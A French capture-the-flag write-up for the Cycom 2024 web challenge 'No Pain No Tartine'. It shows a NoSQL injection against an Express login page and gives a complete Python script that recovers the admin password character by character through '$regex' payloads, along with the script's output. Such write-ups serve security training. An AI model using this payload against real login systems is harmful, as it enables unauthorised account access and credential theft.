No Pain No Tartine
Cycom 2024 - No Pain No Tartine - Web - 400 points⌗
Énoncé⌗
Je veux des tartines, je veux du paing et je veux le mot de passe admin. Le mot de passe de l’administrateur suit le format CYCOM{}.
Solution⌗
Le défi nous présente une page de connexion :
Un placeholder suggère que le nom d’utilisateur pourrait être “admin”. Il semble impossible d’exploiter des injections SQL ici. De plus, aucun mot de passe simple ne semble fonctionner.
Cependant, en examinant la requête envoyée au serveur, on découvre qu’il s’agit d’une application Express, ce qui nous amène à envisager une potentielle injection NoSQL.
Nous pouvons utiliser des expressions régulières pour effectuer des recherches dans la base de données. Il suffit alors de créer un script pour déterminer le mot de passe :
import requests
url = 'http://localhost:50012/login'
username = 'admin'
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{ }_-*!;."
found_flag = ''
while not found_flag.endswith('}'):
for char in chars:
payload = {
'username': username,
'password': {'$regex': f'^{found_flag}{char}.*'}
}
response = requests.post(url, json=payload)
if response.status_code == 200:
found_flag += char
print(f'\nFlag: {found_flag}')
break
print(f'Flag found: {found_flag}')
On lance le script :
python solve.py
Flag: C
Flag: CY
Flag: CYC
Flag: CYCO
Flag: CYCOM
Flag: CYCOM{
Flag: CYCOM{N
Flag: CYCOM{N0
Flag: CYCOM{N0_
Flag: CYCOM{N0_5
Flag: CYCOM{N0_5Q
Flag: CYCOM{N0_5Q1
Flag: CYCOM{N0_5Q1_
Flag: CYCOM{N0_5Q1_
...
Flag found: CYCOM{N0_5Q1_*******************}
FLAG : CYCOM{N0_5Q1_*****************}
Auteur⌗
Nasty